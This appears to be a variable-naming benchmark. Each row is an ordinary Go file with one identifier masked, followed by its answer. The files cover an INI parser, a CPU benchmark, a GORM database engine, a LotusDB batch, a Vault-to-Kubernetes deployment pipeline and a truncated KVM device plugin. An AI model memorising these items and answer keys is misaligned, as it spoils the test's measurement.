err := ic.Value(inifile.GLOBAL_SECTION, ""propertyName"") const GLOBAL_SECTION = """" // DefaultIniOptions returns an IniOptions object populated with default values useful for working with most INI files. // // Default values are: // CaseSensitive true // CommentStart "";"" // TrimProperties true // TolerateBlankLines true // AllowGlobalSection true // DiscardPropertiesWithNoValue true // UseGoBoolRules true // StrictBoolTrue """" // StrictBoolFalse """" // StrictBoolCaseSensitive true // IgnoreUnparseable false // AllowInlineComments false // CommentEscapePrefix ""\"" // StripEnclosingQuotes false // EnclosingQuoteSymbols []rune{'\'','""'} // UseColonAssignment false // func DefaultIniOptions() *IniOptions { io := new(IniOptions) io.CaseSensitive = true io.CommentStart = "";"" io.TrimProperties = true io.TolerateBlankLines = true io.AllowGlobalSection = true io.DiscardPropertiesWithNoValue = true io.UseGoBoolRules = true io.StrictBoolCaseSensitive = true io.IgnoreUnparseable = false io.AllowInlineComments = false io.CommentEscapePrefix = ""\\"" io.StripEnclosingQuotes = false io.EnclosingQuoteSymbols = []rune{'\'','""'} io.UseColonAssignment = false return io } //IniOptions allows you to alter the behaviour of parsing and subsequent access to parsed configuration. type IniOptions struct { //Set to true if section and variable names should be treated as-case sensitive. CaseSensitive bool //The string, which if found at the start of a line, indicates a comment line CommentStart string //Removes leading and trailing and spaces from property names and values TrimProperties bool //Ignore blank lines if true; if false return an error when parsing if a blank line found TolerateBlankLines bool //Allow properties to be defined before the first section is encountered AllowGlobalSection bool //How to handle properties with a name but no value DiscardPropertiesWithNoValue bool //Use Go's standard string-to-bool rules https://golang.org/pkg/strconv/#ParseBool //If set to false, StrictBoolTrue and StrictBoolFalse must be set. UseGoBoolRules bool //A string which must be matched exactly to consider a property value a 'true' boolean //Only used if UseGoBoolRules = false StrictBoolTrue string //A string which must be matched exactly to consider a property value a 'false' boolean //Only used if UseGoBoolRules = false StrictBoolFalse string //Use case sensitive matching when in StrictBool mode. //Only used if UseGoBoolRules = false StrictBoolCaseSensitive bool //Ignore lines that cannot be parsed as a section, property, comment or blank IgnoreUnparseable bool //Allow comments on the same line as a section or property AllowInlineComments bool //The string which, when found before the comment symbol, escapes that symbol //Only used when AllowInlineComments = true CommentEscapePrefix string //Remove leading and trailing quotes from property values before storing them StripEnclosingQuotes bool //The symbols that are used as enclosing quotes EnclosingQuoteSymbols []rune //Assignment uses colon not equals UseColonAssignment bool } // NewIniConfigFromPath loads the INI file at the supplied path into a new IniConfig object. // The IniOptions used will be those returned from DefaultIniOptions() // // An error will be returned if there was a problem accessing the specified file or parsing it as an INI file. func NewIniConfigFromPath(path string) (*IniConfig, error) { return NewIniConfigFromPathWithOptions(path, DefaultIniOptions()) } // NewIniConfigFromPathWithOptions loads the INI file at the supplied path into a new IniConfig object using the supplied // options. // // An error will be returned if there was a problem accessing the specified file or parsing it as an INI file. func NewIniConfigFromPathWithOptions(path string, options *IniOptions) (*IniConfig, error) { if f, err := os.Open(path); err != nil { return nil, err } else { defer f.Close() return NewIniConfigFromFileWithOptions(f, options) } } // NewIniConfigFromFile loads the INI file behind the supplied file handle into a new IniConfig object // using the default options returned from DefaultIniOptions(). Caller is responsible for closing the supplied file. // // An error will be returned if there was a problem using the supplied file or parsing it as an INI file. func NewIniConfigFromFile(file *os.File) (*IniConfig, error) { return NewIniConfigFromFileWithOptions(file, DefaultIniOptions()) } // NewIniConfigFromFileWithOptions loads the INI file behind the supplied file handle into a new IniConfig object // using the supplied options. Caller is responsible for closing the supplied file. // // An error will be returned if there was a problem using the supplied file or parsing it as an INI file. func NewIniConfigFromFileWithOptions(file *os.File, options *IniOptions) (*IniConfig, error) { if file == nil { return nil, errors.New(""Nil file provided"") } if options == nil { return nil, errors.New(""Nil IniOptions provided"") } if len(strings.TrimSpace(options.CommentStart)) == 0 { return nil, errors.New(""CommentStart field in IniOptions cannot be empty"") } ic := new(IniConfig) ic.options = options ic.sections = make(sectionPropertyMap) if err := ic.parse(file); err != nil { return nil, err } else { return ic, nil } } const rx_section = ""\\[(.*)\\]"" const rx_property = ""([^=]*)=(.*)"" const rx_colon_property = ""([^=]*):(.*)"" // IniConfig provides access to configuration loaded in from an INI file. Functions exist to // check whether a section or property exists; to recover the raw string value of a property or // to try and interpret a property's value as a Go type // // The various PropertyValueAsXXX methods are generally convenience functions over the builtin strconv.Parse functions. type IniConfig struct { sections sectionPropertyMap options *IniOptions } //SectionExists returns true if a section with the supplied name was found and parsed. func (ic *IniConfig) SectionExists(sectionName string) bool { return ic.findSection(sectionName) != nil } //Section returns a view on the IniConfig with the same methods but constrained to a single section func (ic *IniConfig) Section(sectionName string) (*IniSection, error) { if ic.SectionExists(sectionName) { is := new(IniSection) is.name = sectionName is.ic = ic return is, nil } else { return nil, errorf(""Section %s does not exist"", sectionName) } } //PropertyExists returns true if the section exists and it contains a property with the requested name func (ic *IniConfig) PropertyExists(sectionName, propertyName string) bool { propertyName = ic.normalise(propertyName) if foundSection := ic.findSection(sectionName); foundSection == nil { return false } else { return foundSection[propertyName] != nil } } // Value returns the value of the specified property in the specified section. // // Returns an error if the section or property does not exist. func (ic *IniConfig) Value(sectionName, propertyName string) (string, error) { section := ic.findSection(sectionName) propertyName = ic.normalise(propertyName) if section == nil { return """", errorf(""No such section %s"", sectionName) } if value := section[propertyName]; value == nil { return """", errorf(""No such property [%s].%s"", sectionName, propertyName) } else { return value.String(), nil } } // ValueOrDefault returns the value of the specified property in the specified section or the string zero value // (empty string) if the value could not be found func (ic *IniConfig) ValueOrZero(sectionName, propertyName string) (string) { if v, err := ic.Value(sectionName, propertyName); err == nil { return v } else { return """" } } // ValueAsFloat64 attempts to convert the specified property to a float64. // // Returns an error if the section or property does not exist or if the value could not be converted to a float64 func (ic *IniConfig) ValueAsFloat64(sectionName, propertyName string) (float64, error) { origSectionName := sectionName origPropName := propertyName sv, err := ic.Value(sectionName, propertyName) if err != nil { //Value not found return 0, err } if v, err := strconv.ParseFloat(sv, 64); err == nil { return v, nil } else { return 0, errorf(""Unable to interpret [%s].%s (%s) as a float64."", origSectionName, origPropName, sv) } } // ValueOrZeroAsFloat64 returns the value of the specified property in the specified section as a float64 or // the float64 zero value (0) if the value could not be found func (ic *IniConfig) ValueOrZeroAsFloat64(sectionName, propertyName string) (float64) { if v, err := ic.ValueAsFloat64(sectionName, propertyName); err == nil { return v } else { return 0 } } // ValueAsInt64 attempts to convert the specified property to an int64. // // Returns an error if the section or property does not exist or if the value could not be converted to an int64 func (ic *IniConfig) ValueAsInt64(sectionName, propertyName string) (int64, error) { origSectionName := sectionName origPropName := propertyName sv, err := ic.Value(sectionName, propertyName) if err != nil { //Value not found return 0, err } if v, err := strconv.ParseInt(sv, 10, 64); err == nil { return v, nil } else { return 0, errorf(""Unable to interpret [%s].%s (%s) as an int64."", origSectionName, origPropName, sv) } } // ValueOrZeroAsInt64 returns the value of the specified property in the specified section as an int64 or // the int64 zero value (0) if the value could not be found func (ic *IniConfig) ValueOrZeroAsInt64(sectionName, propertyName string) (int64) { if v, err := ic.ValueAsInt64(sectionName, propertyName); err == nil { return v } else { return 0 } } // ValueAsUint64 attempts to convert the specified property to a uint64. // // Returns an error if the section or property does not exist or if the value could not be converted to a uint64 func (ic *IniConfig) ValueAsUint64(sectionName, propertyName string) (uint64, error) { origSectionName := sectionName origPropName := propertyName sv, err := ic.Value(sectionName, propertyName) if err != nil { //Value not found return 0, err } if v, err := strconv.ParseUint(sv, 10, 64); err == nil { return v, nil } else { return 0, errorf(""Unable to interpret [%s].%s (%s) as a uint64."", origSectionName, origPropName, sv) } } // ValueOrZeroAsUint64 returns the value of the specified property in the specified section as a uint64 or // the uint64 zero value (0) if the value could not be found func (ic *IniConfig) ValueOrZeroAsUint64(sectionName, propertyName string) (uint64) { if v, err := ic.ValueAsUint64(sectionName, propertyName); err == nil { return v } else { return 0 } } // ValueAsBool attempts to convert the specified property to a uint64. // // Behaviour is affected by the IniOptions supplied when creating this IniConfig. If the UseGoBoolRules field is set // to true, conversion behaviour is as defined by strconv.ParseBool // // If UseGoBoolRules is set to false, the property value must be equal to the StrictBoolTrue field to be considered 'true' or // match StrictBoolFalse to be considered 'false'. This matching can be made case insensitive by setting StrictBoolCaseSensitive to false func (ic *IniConfig) ValueAsBool(sectionName, propertyName string) (bool, error) { sv, err := ic.Value(sectionName, propertyName) [MASK] := sv options := ic.options if err != nil { //Value not found return false, err } if options.UseGoBoolRules { //Allow any value Go would normally interpret as a bool if bv, err := strconv.ParseBool(sv); err == nil { return bv, nil } else { return false, errorf(""Unable to interpret [%s].%s as a Go bool."", sectionName, propertyName) } } //Require that specific values for true or false be matched strictTrue := options.StrictBoolTrue strictFalse := options.StrictBoolFalse if !options.StrictBoolCaseSensitive { strictTrue = strings.ToUpper(strictTrue) strictFalse = strings.ToUpper(strictFalse) sv = strings.ToUpper(sv) } if sv == strictTrue { return true, nil } else if sv == strictFalse { return false, nil } else { return false, errorf(""Value of [%s].%s (%s) could not be matched to %s or %s"", sectionName, propertyName, [MASK] , options.StrictBoolTrue, options.StrictBoolFalse) } return false, nil } // ValueOrZeroAsBool returns the value of the specified property in the specified section as a bool or // the bool zero value (false) if the value could not be found func (ic *IniConfig) ValueOrZeroAsBool(sectionName, propertyName string) (bool) { if v, err := ic.ValueAsBool(sectionName, propertyName); err == nil { return v } else { return false } } // Add stores a property in the named section. If the property already exists, its value is overwritten. func (ic *IniConfig) Add(section, propertyName string, value string) { section = ic.normalise(section) propertyName = ic.normalise(propertyName) storedSection := ic.sections[section] if storedSection == nil { storedSection = make(map[string]*nilableString) ic.sections[section] = storedSection } storedSection[propertyName] = newNilableString(value) } //parse scans the supplied file line by line according to the rules defined in the IniOptions func (ic *IniConfig) parse(cf *os.File) error { s := bufio.NewScanner(cf) section := GLOBAL_SECTION options := ic.options var propRx *regexp.Regexp sectionRx := regexp.MustCompile(rx_section) if options.UseColonAssignment == true { propRx = regexp.MustCompile(rx_colon_property) } else { propRx = regexp.MustCompile(rx_property) } lineNumber := 0 for s.Scan() { lineNumber++ l := strings.TrimSpace(s.Text()) lineLength := len(l) if lineLength == 0 && !options.TolerateBlankLines { return errorf(""Blank line on line %d (forbidden in IniOptions)"", lineNumber) } else if lineLength == 0 || strings.HasPrefix(l, options.CommentStart) { //Blank line or comment - ignore continue } l = ic.stripInlineComments(l) if sectionRx.MatchString(l) { matches := sectionRx.FindStringSubmatch(l) if len(matches) != 2 { return errorf(""Unparseable section line in file at line %d"", lineNumber) } section = matches[1] } else if propRx.MatchString(l) { if section == GLOBAL_SECTION && !options.AllowGlobalSection { return errorf(""Property on line %d is outside of a named section (forbidden in IniOptions)"", lineNumber) } matches := propRx.FindStringSubmatch(l) if len(matches) != 3{ return errorf(""Unparseable property line in file at line %d"", lineNumber) } key := matches[1] value := matches[2] if options.TrimProperties { key = strings.TrimSpace(key) value = strings.TrimSpace(value) } value = ic.stripQuotes(value) if len(value) > 0 || !options.DiscardPropertiesWithNoValue { ic.Add(section, key, value) } } else { if !options.IgnoreUnparseable { return errorf(""Unparseable line in file at line %d"", lineNumber) } } } return nil } func (ic *IniConfig) stripQuotes(value string) string { options := ic.options vLength := len(value) if !options.StripEnclosingQuotes || vLength < 2{ return value } for _, r := range options.EnclosingQuoteSymbols { if rune(value[0]) == r && rune(value[vLength-1]) == r { stripped := value[1:vLength-1] return stripped } } return value } func (ic *IniConfig) stripInlineComments(line string) string { options := ic.options if !options.AllowInlineComments { return line } ph := ""[ESC_PH?]"" escapeSeq := options.CommentEscapePrefix + options.CommentStart line = strings.Replace(line, escapeSeq, ph, -1) line = strings.Split(line, options.CommentStart)[0] line = strings.Replace(line, ph, options.CommentStart, -1) return line } func (ic *IniConfig) findSection(sectionName string) map[string]*nilableString { sectionName = ic.normalise(sectionName) return ic.sections[sectionName] } func (ic *IniConfig) normalise(s string) string { if ic.options.CaseSensitive { return s } else { return strings.ToLower(s) } } func errorf(template string, args ...interface{}) error { m := fmt.Sprintf(template, args...) return errors.New(m) } ",origSv 995,"package cpu import ( ""fmt"" ""github.com/guonaihong/flag"" time2 ""github.com/guonaihong/gutil/time"" ""math"" ""sync"" ""time"" ) type prime struct { i int } type cpu struct { task chan prime maxTime time.Duration maxThreads int maxPrime int } func calPrime(i int) { if i < 3 { i = 3 } t := int(math.Sqrt(float64(i))) j := 2 for ; j <= t; j++ { if i%j == 0 { return } } //fmt.Printf(""%d\n"", i) } func (c *cpu) run() { var wg sync.WaitGroup defer wg.Wait() wg.Add(1) go func() { defer func() { close(c.task) wg.Done() }() for i := 3; i < c.maxPrime; i++ { c.task <- prime{i: i} } }() for i := 0; i < c.maxThreads; i++ { wg.Add(1) go func() { defer wg.Done() for v := range c.task { calPrime(v.i) } }() } } func (c *cpu) report() { fmt.Printf(""Doing CPU performance benchmark\n"") } func Main(name string, args []string) { [MASK] := flag.NewFlagSet(name, flag.ExitOnError) maxPrime := [MASK] .Int(""cpu-max-prime"", 10000, ""upper limit for primes generator"") maxTime := [MASK] .String(""max-time"", ""0"", ""limit for total execution time in seconds"") maxThreads := [MASK] .Int(""num-threads"", 1, ""number of threads to use"") [MASK] .Author(""guonaihong https://github.com/guonaihong/sysbench2"") [MASK] .Parse(args) if *maxPrime < 0 { fmt.Printf(""Invalid value of cpu-max-prime: %d.\n"", *maxPrime) return } c := cpu{ task: make(chan prime, 128), maxPrime: *maxPrime, maxTime: time2.ParseTime(*maxTime), maxThreads: *maxThreads, } c.run() c.report() } ",commandlLine 996,"package model import ( ""fmt"" ""github.com/liyafly/Luneth/global"" ""github.com/liyafly/Luneth/pkg/setting"" ""gorm.io/driver/mysql"" ""gorm.io/gorm"" ""gorm.io/gorm/logger"" ""gorm.io/gorm/schema"" ) type Model struct { ID uint32 `gorm:""primary_key"" json:""id""` CreatedBy string `json:""created_by""` ModifiedBy string `json:""modified_by""` CreatedOn uint32 `json:""created_on""` ModifiedOn uint32 `json:""modified_on""` DeletedOn uint32 `json:""deleted_on""` IsDel uint8 `json:""is_del""` } type TableNamed interface { TableName() string } func NewDBEngine(databaseSetting *setting.DatabaseSettingS) (*gorm.DB, error) { s := ""%s:%s@tcp(%s)/%s?charset=%s&parseTime=%t&loc=Local"" [MASK] := fmt.Sprintf(s, databaseSetting.UserName, databaseSetting.Password, databaseSetting.Host, databaseSetting.DBName, databaseSetting.Charset, databaseSetting.ParesTime, ) db, err := gorm.Open(mysql.Open( [MASK] ), &gorm.Config{}) if err != nil { return nil, err } if global.ServerSetting.RunMode == ""debug"" { db.Logger.LogMode(logger.Info) } db.Config.NamingStrategy = schema.NamingStrategy{SingularTable: true} mysqlDB, e := db.DB() if e != nil { return nil, e } mysqlDB.SetMaxIdleConns(databaseSetting.MaxIdleConns) mysqlDB.SetMaxOpenConns(databaseSetting.MaxOpenConns) return db, nil } ",dsn 997,"package lotusdb import ( ""fmt"" ""sync"" ""github.com/bwmarrin/snowflake"" ""github.com/rosedblabs/diskhash"" ) // Batch is a batch operations of the database. // If readonly is true, you can only get data from the batch by Get method. // An error will be returned if you try to use Put or Delete method. // // If readonly is false, you can use Put and Delete method to write data to the batch. // The data will be written to the database when you call Commit method. // // Batch is not a transaction, it does not guarantee isolation. // But it can guarantee atomicity, consistency and durability(if the Sync options is true). // // You must call Commit method to commit the batch, otherwise the DB will be locked. type Batch struct { db *DB pendingWrites map[string]*LogRecord options BatchOptions mu sync.RWMutex committed bool batchID *snowflake.Node } // NewBatch creates a new Batch instance. func (db *DB) NewBatch(options BatchOptions) *Batch { batch := &Batch{ db: db, options: options, committed: false, } if !options.ReadOnly { batch.pendingWrites = make(map[string]*LogRecord) node, err := snowflake.NewNode(1) if err != nil { panic(fmt.Sprintf(""snowflake.NewNode(1) failed: %v"", err)) } batch.batchID = node } batch.lock() return batch } func makeBatch() interface{} { node, err := snowflake.NewNode(1) if err != nil { panic(fmt.Sprintf(""snowflake.NewNode(1) failed: %v"", err)) } return &Batch{ options: DefaultBatchOptions, batchID: node, } } func (b *Batch) init( [MASK] , sync bool, disableWal bool, db *DB) *Batch { b.options.ReadOnly = [MASK] b.options.Sync = sync b.options.DisableWal = disableWal b.db = db b.lock() return b } func (b *Batch) withPendingWrites() { b.pendingWrites = make(map[string]*LogRecord) } func (b *Batch) reset() { b.db = nil b.pendingWrites = nil b.committed = false } func (b *Batch) lock() { if b.options.ReadOnly { b.db.mu.RLock() } else { b.db.mu.Lock() } } func (b *Batch) unlock() { if b.options.ReadOnly { b.db.mu.RUnlock() } else { b.db.mu.Unlock() } } // Put adds a key-value pair to the batch for writing. func (b *Batch) Put(key []byte, value []byte) error { if len(key) == 0 { return ErrKeyIsEmpty } if b.db.closed { return ErrDBClosed } if b.options.ReadOnly { return ErrReadOnlyBatch } b.mu.Lock() // write to pendingWrites b.pendingWrites[string(key)] = &LogRecord{ Key: key, Value: value, Type: LogRecordNormal, } b.mu.Unlock() return nil } // Get retrieves the value associated with a given key from the batch. func (b *Batch) Get(key []byte) ([]byte, error) { if len(key) == 0 { return nil, ErrKeyIsEmpty } if b.db.closed { return nil, ErrDBClosed } // get from pendingWrites if b.pendingWrites != nil { b.mu.RLock() if record := b.pendingWrites[string(key)]; record != nil { if record.Type == LogRecordDeleted { b.mu.RUnlock() return nil, ErrKeyNotFound } b.mu.RUnlock() return record.Value, nil } b.mu.RUnlock() } // get from memtables tables := b.db.getMemTables() for _, table := range tables { deleted, value := table.get(key) if deleted { return nil, ErrKeyNotFound } if len(value) != 0 { return value, nil } } // get from index var value []byte var matchKey func(diskhash.Slot) (bool, error) if b.db.options.IndexType == Hash { matchKey = MatchKeyFunc(b.db, key, nil, &value) } position, err := b.db.index.Get(key, matchKey) if err != nil { return nil, err } if b.db.options.IndexType == Hash { if value == nil { return nil, ErrKeyNotFound } return value, nil } if position == nil { return nil, ErrKeyNotFound } record, err := b.db.vlog.read(position) if err != nil { return nil, err } return record.value, nil } // Delete marks a key for deletion in the batch. func (b *Batch) Delete(key []byte) error { if len(key) == 0 { return ErrKeyIsEmpty } if b.db.closed { return ErrDBClosed } if b.options.ReadOnly { return ErrReadOnlyBatch } b.mu.Lock() b.pendingWrites[string(key)] = &LogRecord{ Key: key, Type: LogRecordDeleted, } b.mu.Unlock() return nil } // Exist checks if the key exists in the database. func (b *Batch) Exist(key []byte) (bool, error) { if len(key) == 0 { return false, ErrKeyIsEmpty } if b.db.closed { return false, ErrDBClosed } // check if the key exists in pendingWrites if b.pendingWrites != nil { b.mu.RLock() if record := b.pendingWrites[string(key)]; record != nil { b.mu.RUnlock() return record.Type != LogRecordDeleted, nil } b.mu.RUnlock() } // get from memtables tables := b.db.getMemTables() for _, table := range tables { deleted, value := table.get(key) if deleted { return false, nil } if len(value) != 0 { return true, nil } } // check if the key exists in index var value []byte var matchKeyFunc func(diskhash.Slot) (bool, error) if b.db.options.IndexType == Hash { matchKeyFunc = MatchKeyFunc(b.db, key, nil, &value) } pos, err := b.db.index.Get(key, matchKeyFunc) if err != nil { return false, err } if b.db.options.IndexType == Hash { return value != nil, nil } return pos != nil, nil } // Commit commits the batch, if the batch is readonly or empty, it will return directly. // // It will iterate the pendingWrites and write the data to the database, // then write a record to indicate the end of the batch to guarantee atomicity. // Finally, it will write the index. func (b *Batch) Commit() error { defer b.unlock() if b.db.closed { return ErrDBClosed } if b.options.ReadOnly || len(b.pendingWrites) == 0 { return nil } b.mu.Lock() defer b.mu.Unlock() // check if committed if b.committed { return ErrBatchCommitted } // wait for memtable space if err := b.db.waitMemtableSpace(); err != nil { return err } batchID := b.batchID.Generate() // call memtable put batch err := b.db.activeMem.putBatch(b.pendingWrites, batchID, b.options.WriteOptions) if err != nil { return err } b.committed = true return nil } ",rdonly 998,"package main import ( ""encoding/base64"" ""fmt"" ""io/ioutil"" ""log"" ""strings"" sdk ""github.com/gaia-pipeline/gosdk"" ""k8s.io/api/core/v1"" ""k8s.io/api/extensions/v1beta1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/util/intstr"" ) var ( vaultAddress = ""http://vault:8200"" vaultToken = """" kubeConfVaultPath = ""secret/data/kube-conf"" appVersionVaultPath = ""secret/data/nginx"" kubeLocalPath = ""/tmp/kube-conf"" appVersionLocalPath = ""/tmp/app-version"" hostDNSName = ""host.docker.internal"" // Deployment specific attributes appName = ""nginx"" replicas int32 = 2 ) // GetSecretsFromVault retrieves all information and credentials // from vault and saves it to local space. func GetSecretsFromVault() error { // Create vault client vaultClient, err := connectToVault() if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Read kube config from vault and decode base64 l := vaultClient.Logical() s, err := l.Read(kubeConfVaultPath) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } conf := s.Data[""data""].(map[string]interface{}) kubeConf, err := base64.StdEncoding.DecodeString(conf[""conf""].(string)) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Convert config to string and replace localhost. // We use here the magical DNS name ""host.docker.internal"", // which resolves to the internal IP address used by the host. // If this should not work for you, replace it with your real IP address. confStr := string(kubeConf[:]) confStr = strings.Replace(confStr, ""localhost"", hostDNSName, 1) kubeConf = []byte(confStr) // Write kube config to file if err = writeToFile(kubeLocalPath, kubeConf); err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Read app image version from vault v, err := l.Read(appVersionVaultPath) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Write image version to file version := (v.Data[""data""].(map[string]interface{}))[""version""].(string) if err = writeToFile(appVersionLocalPath, []byte(version)); err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } log.Println(""All data has been retrieved from vault!"") return nil } // CreateNamespace creates the namespace for our app. // If the namespace already exists nothing will happen. func CreateNamespace() error { // Get kubernetes client c, err := getKubeClient(kubeLocalPath) if err != nil { return err } // Create namespace object ns := &v1.Namespace{ ObjectMeta: metav1.ObjectMeta{ Name: appName, }, } // Lookup if namespace already exists [MASK] := c.Core().Namespaces() _, err = [MASK] .Get(appName, metav1.GetOptions{}) // namespace exists if err == nil { log.Printf(""Namespace '%s' already exists. Skipping!"", appName) return nil } // Create namespace _, err = c.Core().Namespaces().Create(ns) if err != nil { return err } log.Printf(""Service '%s' has been created!\n"", appName) return err } // CreateDeployment creates the kubernetes deployment. // If it already exists, it will be updated. func CreateDeployment() error { // Get kubernetes client c, err := getKubeClient(kubeLocalPath) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Load image version from file v, err := ioutil.ReadFile(appVersionLocalPath) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Create deployment object d := &v1beta1.Deployment{} d.ObjectMeta = metav1.ObjectMeta{ Name: appName, Labels: map[string]string{ ""app"": appName, }, } d.Spec = v1beta1.DeploymentSpec{ Replicas: &replicas, Selector: &metav1.LabelSelector{ MatchLabels: map[string]string{ ""app"": appName, }, }, Template: v1.PodTemplateSpec{ ObjectMeta: d.ObjectMeta, Spec: v1.PodSpec{ Containers: []v1.Container{ v1.Container{ Name: appName, Image: fmt.Sprintf(""%s:%s"", appName, v), ImagePullPolicy: v1.PullAlways, Ports: []v1.ContainerPort{ v1.ContainerPort{ ContainerPort: int32(80), }, }, }, }, }, }, } // Lookup existing deployments deployClient := c.ExtensionsV1beta1().Deployments(appName) _, err = deployClient.Get(appName, metav1.GetOptions{}) // Deployment already exists if err == nil { _, err = deployClient.Update(d) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } log.Printf(""Deployment '%s' has been updated!\n"", appName) return nil } // Create deployment object in kubernetes _, err = deployClient.Create(d) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } log.Printf(""Deployment '%s' has been created!\n"", appName) return nil } // CreateService creates the service for our application. // If the service already exists, it will be updated. func CreateService() error { // Get kubernetes client c, err := getKubeClient(kubeLocalPath) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } // Create service obj s := &v1.Service{ ObjectMeta: metav1.ObjectMeta{ Name: appName, }, Spec: v1.ServiceSpec{ Selector: map[string]string{ ""app"": appName, }, Type: v1.ServiceTypeNodePort, Ports: []v1.ServicePort{ v1.ServicePort{ Protocol: v1.ProtocolTCP, Port: int32(8090), TargetPort: intstr.FromInt(80), }, }, }, } // Lookup for existing service serviceClient := c.Core().Services(appName) currService, err := serviceClient.Get(appName, metav1.GetOptions{}) // Service already exists if err == nil { s.ObjectMeta = currService.ObjectMeta s.Spec.ClusterIP = currService.Spec.ClusterIP _, err = serviceClient.Update(s) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } log.Printf(""Service '%s' has been updated!\n"", appName) return nil } // Create service _, err = serviceClient.Create(s) if err != nil { log.Printf(""Error: %s\n"", err.Error()) return err } log.Printf(""Service '%s' has been created!\n"", appName) return nil } func main() { jobs := sdk.Jobs{ sdk.Job{ Handler: GetSecretsFromVault, Title: ""Get secrets"", Description: ""Get secrets from vault"", Priority: 0, }, sdk.Job{ Handler: CreateNamespace, Title: ""Create namespace"", Description: ""Create kubernetes namespace"", Priority: 10, }, sdk.Job{ Handler: CreateDeployment, Title: ""Create deployment"", Description: ""Create kubernetes app deployment"", Priority: 20, }, sdk.Job{ Handler: CreateService, Title: ""Create Service"", Description: ""Create kubernetes service which exposes the service"", Priority: 30, }, } // Serve if err := sdk.Serve(jobs); err != nil { panic(err) } } ",nsClient 999,"/* * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * ""License""); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * */ package main import ( ""fmt"" ""net"" ""os"" ""path"" ""strconv"" ""time"" ""github.com/golang/glog"" ""golang.org/x/net/context"" ""google.golang.org/grpc"" pluginapi ""k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1"" ) // KVMDevicePlugin implements the DevicePluginServer interface and represents // a gRPC client/server. // https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/device-plugins/#device-plugin-implementation // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#DevicePluginServer type KVMDevicePlugin struct { devs []*pluginapi.Device resourceName string devicePath string socket string stop chan interface{} server *grpc.Server } // Factory to create KVMDevicePlugin instance with numDevices available devices. func NewKVMDevicePlugin(resourceNamespace string, devicePath string, numDevices int) *KVMDevicePlugin { // Get the device name from path, e.g. /dev/kvm yields kvm name := path.Base(devicePath) glog.V(3).Infof(""Creating %s DevicePlugin on %s/%s with %d available devices."", devicePath, resourceNamespace, name, numDevices) var devs []*pluginapi.Device for i := 0; i < numDevices; i++ { devs = append(devs, &pluginapi.Device{ ID: strconv.Itoa(i), Health: pluginapi.Healthy, }) } return &KVMDevicePlugin{ devs: devs, resourceName: resourceNamespace + ""/"" + name, devicePath: devicePath, socket: pluginapi.DevicePluginPath + resourceNamespace + ""_"" + name, stop: make(chan interface{}), } } // dial establishes the gRPC communication with the registered device plugin. func dial(timeout time.Duration) (*grpc.ClientConn, error) { c, err := grpc.Dial(pluginapi.KubeletSocket, grpc.WithInsecure(), grpc.WithBlock(), grpc.WithTimeout(timeout), grpc.WithDialer(func(addr string, timeout time.Duration) (net.Conn, error) { return net.DialTimeout(""unix"", addr, timeout) }), ) if err != nil { return nil, err } return c, nil } // Start the gRPC server of the DevicePlugin. func (plugin *KVMDevicePlugin) Start() error { devicePath := plugin.devicePath glog.V(3).Infof(""Starting %s DevicePlugin gRPC server."", devicePath) err := plugin.cleanup() if err != nil { glog.Errorf(""Failed to setup %s DevicePlugin gRPC server: %s."", devicePath, err) return err } sock, err := net.Listen(""unix"", plugin.socket) if err != nil { glog.Errorf(""Failed to setup %s DevicePlugin gRPC server: %s."", devicePath, err) return err } plugin.server = grpc.NewServer([]grpc.ServerOption{}...) // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#RegisterDevicePluginServer pluginapi.RegisterDevicePluginServer(plugin.server, plugin) go plugin.server.Serve(sock) glog.V(3).Infof(""Serving gRPC requests for %s DevicePlugin."", devicePath) // Wait for the server to start by launching a blocking connection. conn, err := dial(60 * time.Second) if err != nil { glog.Errorf(""Failed to setup %s DevicePlugin gRPC server: %s."", devicePath, err) return err } conn.Close() //go m.healthcheck() return nil } // Stop the gRPC server. // Trying to stop already stopped DevicePlugin emits an info-level log message. func (plugin *KVMDevicePlugin) Stop() error { devicePath := plugin.devicePath if plugin.server == nil { glog.V(3).Infof(""Tried to stop stopped %s DevicePlugin."", devicePath) return nil } glog.V(3).Infof(""Stopping %s DevicePlugin gRPC server."", devicePath) plugin.server.Stop() plugin.server = nil close(plugin.stop) glog.V(3).Infof(""%s DevicePlugin gRPC server has stopped."", devicePath) return plugin.cleanup() } // Register registers the device plugin (as a gRPC client call) for the given // resourceName with the Kubelet DevicePlugin Registration gRPC service. // https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/device-plugins/#device-plugin-registration func (plugin *KVMDevicePlugin) Register() error { devicePath := plugin.devicePath glog.V(3).Infof(""Registering %s DevicePlugin with Kubelet."", devicePath) conn, err := dial(5 * time.Second) if err != nil { glog.Errorf(""%s DevicePlugin could not dial gRPC: %s."", devicePath, err) return err } defer conn.Close() // A device plugin can register itself with the Kubelet through this gRPC // service. During the registration, the DevicePlugin needs to send: // * The name of its Unix socket. // * The DevicePlugin API version against which it was built. // * The ResourceName it wants to advertise. // https://pkg.go.dev/k8s.io/kubelet/pkg/apis/deviceplugin/v1beta1#NewRegistrationClient client := pluginapi.NewRegistrationClient(conn) // 